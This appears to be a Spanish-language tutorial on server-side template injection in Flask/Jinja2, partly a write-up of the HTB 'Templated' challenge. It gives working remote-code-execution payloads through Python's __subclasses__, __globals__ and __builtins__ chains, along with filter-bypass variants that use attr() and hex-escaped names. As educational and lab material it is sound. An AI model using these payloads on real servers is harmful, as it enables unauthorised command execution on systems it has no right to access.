Server Side Template Injection (SSTI) en Jinja2

Table of contents

  1. Flask y Jinja
    1. Ejemplo
  2. Server Side Template Injection
    1. ¿Como funciona?
    2. Deteccion
    3. Identificar cual es la plantilla usada
    4. Explotacion
      1. Class
      2. mro
      3. subclasses()
      4. Consiguiendo RCE
      5. RCE con __builtins__ y __globals__
    5. RCE evadiendo filtros
      1. Bypass de __class__ y _
      2. Bypass todo en uno
      3. Referencias

Te explicare como funciona la vulnerabilidad SSTI, sus payloads y como explotarla

Flask y Jinja

Flask es un framework de desarrollo web para Python el cual puede ser usado para un monton de cosas, sin embargo, cuando se desea realizar un sitio web dinamico, se puede llegar a usar motores de plantillas, esto permite renderizar plantillas HTML, y las plantillas se pueden definir usando la sintaxis de Jinja2, y luego usarlas desde Flask.

Ejemplo

Podemos crear una plantilla como esta:

<!DOCTYPE html>
<html>
<head>
    <title>Ejemplo de Jinja2 y Flask</title>
</head>
<body>
    <h1>oli: {`{ nombre }}</h1>
</body>
</html>

Vemos que tiene la estructura basica de un HTML, tiene elementos HTML estaticos, y tiene un elemento dinamico, el cual es el h1, en ese h1 se encuentra la variable nombre que esta encerrada por llaves, esas llaves en las plantillas se llaman delimitadores, hay distintos tipos, pero cuando se usan las llaves se le esta indicando que imprima lo que esta dentro cuando se renderice la plantilla (el caracteres que esta entre las llaves no va, solo que asi se me ocurrio escapar las llaves)

Los diferentes delimitadores

¿Pero como se renderiza la plantilla?

Una vez que se crea la plantilla, esta se manda a llamar dese un archivo de python, por ejemplo:

from flask import Flask, render_template

app = Flask(__name__)

@app.route('/')
def index():
    nombre = "c4rta"

    return render_template('plantilla.html', nombre=nombre)

if __name__ == '__main__':
    app.run()

Lo que esta haciendo es que cuando se visite la ruta /, va a renderizar la plantilla con el nombre plantilla.html con los valores proporcionados, en este caso, el nombre, que tiene como valor c4rta, para este ejemplo se esta usando render_template el cual renderiza desde un acrhivo, pero tambien puede ser usado render_template_string, que renderiza desde un string, de esta forma:

from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    nombre = "c4rta"

    plantilla = """
    <html>
    <head>
        <title>Ejemplo usando render_template_string</title>
    </head>
    <body>
        <h1>oli: {`{ nombre }}</h1>
    </body>
    </html>
    """

    return render_template_string(plantilla, nombre=nombre)

if __name__ == '__main__':
    app.run()

Vemos que esta renderizando desde el string plantilla

Server Side Template Injection

Significa “inyeccion de plantillas del lado del servidor”, y es una vulnerabilidad que permite a los atacantes inyectar plantillas maliciosas en un motor de plantillas, la cual sera renderizada por el servidor, esto con el fin de ejecutar comandos del lado del servidor, de ahi su nombre “Server Side”. (los payload se deben de crear de acuerdo a la sintaxis de la plantilla que esta en uso)

¿Como funciona?

En los ejemplos anteriores le pasamos los datos a la plantilla como valores definidos que ya estaban en el codigo, pero… Que pasara si se los pasamos a travez del metodo GET en una query string, imaginemos algo asi:

  1. El atacante incrusta su payload en un parametro vulnerable de la query string de la peticion
  2. El motor de plantillas procesa el payload, y si cumple con la sintaxis de la plantilla y no se esta sanitizando, decide sustituir los valores por los de la peticion
  3. El servidor renderiza la plantilla e incrusta los valores en el codigo fuente
  4. El servidor devuelve la plantilla renderizada al cliente (navegador), y lo muestra el contenido de la plantilla

OJO: Esta es la funcionalidad de como seria si los datos se pasaran a travez de la URL con GET, en caso de que sean por POST, por ejemplo, por medio de un formulario, seria de esta manera:

En el body de la peticion al parametro name se la incrusta el payload, del paso 2 al 4 es el mismo funcionamiento.

Los pasos que se suelen seguir para la explotacion, son:

  • Deteccion
  • Identificar cual es la plantilla usada
  • Investigar como funciona la plantilla (opcional solo si no se sabe)
  • Explotar

Deteccion

Una de los pasos mas simples y comunes es fuzzear la plantilla para ver si existe una vulnerabilidad, como primer paso podemos usar el payload poliglota: ${{<%[%’”}}%\. y en caso de que se genere una excepcion, es por que el servidor esta tratando de interpretar lo que le pasamos y es posible que estemos contra un SSTI

Identificar cual es la plantilla usada

Esta imagen describe todo perfectamente:

Imagen de PortSwigger

Debido a que existen muchos motores de plantillas y tienen una sintaxis diferente, podemos ir probando manualmente los payloads para saber si la sintaxis que le indicamos es valida o no, y dependiendo de las respuesta podemos saber a que motor de plantillas pertenece, como se ve en la imagen

Explotacion

Usare de ejemplo el desafio Templated de HTB

Antes que nada, te explicare como funcionan los metodos mas comunes que son usados en los payloads de SSTI

Class

Como puse en la tabla, regresa a que clase pertene una instancia, al sitio web del desafio le pasaremos este payload: {{’‘.__class__}},

Lo que va a regresar es a que clase pertenece '', que es una cadena vacia

Y ahi vemos, pertenece a la clase str

Esto es la manera inicial se muchos payloads, ya que con __mro__ nos va a pemitir recorrernos en la tupla de clases a la que pertece '', y no solo pertenece a la clase str, si no tambien a la clase object

mro

Ahora como payload ingresaremos esto: {{’’.__class__.__mro__}}.

Veremos un resultado como este:

Miren como '' pertenece tambien a la clase object, y eso es muy importante, por que object tiene demasiadas subclases con las que podemos interectuar, pero antes… ¿Como podemos recorrernos entre las clases con mro?, recordemos que mro regresa una tupla, y en python para acceder individualmente a un elemento de una tupla se usan los corchetes y naturalmente en la programacion siempre se empieza a contar desde el indice 0

Asi seria, la clase str tiene el indice 0 y la clase object el indice 1, entonces para acceder a la clase object, se usaria el payload: {{’’.__class__.__mro__[1]}}

subclasses()

Ahora toca acceder a la subclases de la clase object, usaremos el payload: {{’’.__class__.__mro__[1].__subclasses__()}}

Esto regresara una mega lista de todas las subclases de object:

Y aqui viene lo bueno, por que vean lo que se encuentra aca:

Haciendo un llamado de subprocess podemos ejectuar comandos

Consiguiendo RCE

Ahora toca ubicar a que indice pertenece subprocess.Popen, yo ya lo habia sacado y es al 414, asi que para acceder a el usamos el payload: {{’’.__class__.__mro__[1].__subclasses__()[414]}}

Pero ojo, no siempre se encuentra en esa posicion, varia de la aplicacion.

Ahora ejecutaremos un comando tomando en cuenta la sintaxis de subprocess.Popen, con el metodo communicate() al final, y nuestro payload queda asi:

{{’’.__class__.__mro__[1].__subclasses__()[414](‘whoami’, shell=True, stdout=-1).communicate()}}

Vemos como se ejecuto el comando, y conseguimos RCE 🚬

Esa es la manera mas sencilla de conseguir RCE, pero te explicare otros payloads

RCE con __builtins__ y __globals__

Tenemos este payload: {{ self.__init__.__globals__.__builtins__.__import__(‘os’).popen(‘whoami’).read() }}

Y hace exactamente lo mismo que el anterior pero de difetente forma, y es bastente genial, primero con self.__init__, le estamos indicando que llame a la funcion de inicializacion que va a inicializar los atributos de self, que se refiere a uno mismo, ¿Y quien es uno mismo?, pues es una referencia a la plantilla, vean lo que nos arroja

Con __init__ se esta llamando a la funcion de inicializacion de la clase TemplateReference, que es la que tiene la referencia a la plantilla, y esta referencia ya tiene toda la informacion de la plantilla que se usa, y eso lo podemos ver con __globals__, vean

Vean como nos regreso un diccionario de todas las variables globales que son accesibles desde esa función o método, pero ahora debemos de conseguir acceso a las funciones incorporadas de python, y para eso usamos __builtins__, y esto nos va a regresar otro diccionario, y ese diccionario tiene la funcion __import__, y con eso ya podemos importar cualquier modulo que este por defecto en python, y como se ve en el payload, esta importanto el modulo os para ejecutar el comando whoami

RCE evadiendo filtros

En ocasiones puede que los payloads anteriores no se esten ejecutando por que se puede estar filtrando __globals__ o __builtins__, y aqui es donde attr() llega a salvar el dia, tenemos este payload:

request tiene representa a la peticion, y tiene toda la informacion de esta(parametros), y attr() permite acceder directemante a un atributo u objeto que se le indique dentro de los parentesis, y en este caso esta accediendo a builtins, por que tiene las funciones incorporadas de python, y con esto, simplemente le decimos que importe el modulo os y ejecute el comando date, ojo, esto no llega a funcionar siempre.

Y bueno, te dejo otros payloads para evadir filtros.

Bypass de __class__ y _

Tomando en cuenta de que request tiene acceso a todos los parametros que fueron enviados, se puede usar “request.args.param” para recuperar el valor del parametro que viene por GET: {{request[request.args.param]}}&parametroVulnerable=__class__

Bypass todo en uno

&{&{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('whoami')|attr('read')()}}

(no pude supe bien como escapar toda la cadena, asi que quitenle los dos ampersan que estan entre las dos llaves del inicio)

Referencias

https://portswigger.net/web-security/server-side-template-injection

https://github.com/payloadbox/ssti-payloads

https://www.youtube.com/watch?v=SN6EVIG4c-0

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

Eso ha sido todo, gracias por leer ❤